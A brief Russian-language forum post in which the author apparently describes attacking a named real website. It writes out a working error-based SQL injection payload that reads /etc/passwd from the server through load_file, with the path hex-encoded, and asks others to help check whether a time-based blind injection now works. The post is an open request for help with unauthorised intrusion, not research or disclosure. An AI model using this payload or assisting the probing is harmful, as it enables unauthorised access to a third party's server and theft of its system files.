Была уязвимость error based, так крутил: seo-fast.ru/news'or(extractvalue(null,concat(0x3a,substr(load_ file(0x2f6574632f706173737764),-30,30))))=

Сейчас вывод ошибок отключен, но думаю там сейчас time based blind, помогите проверить.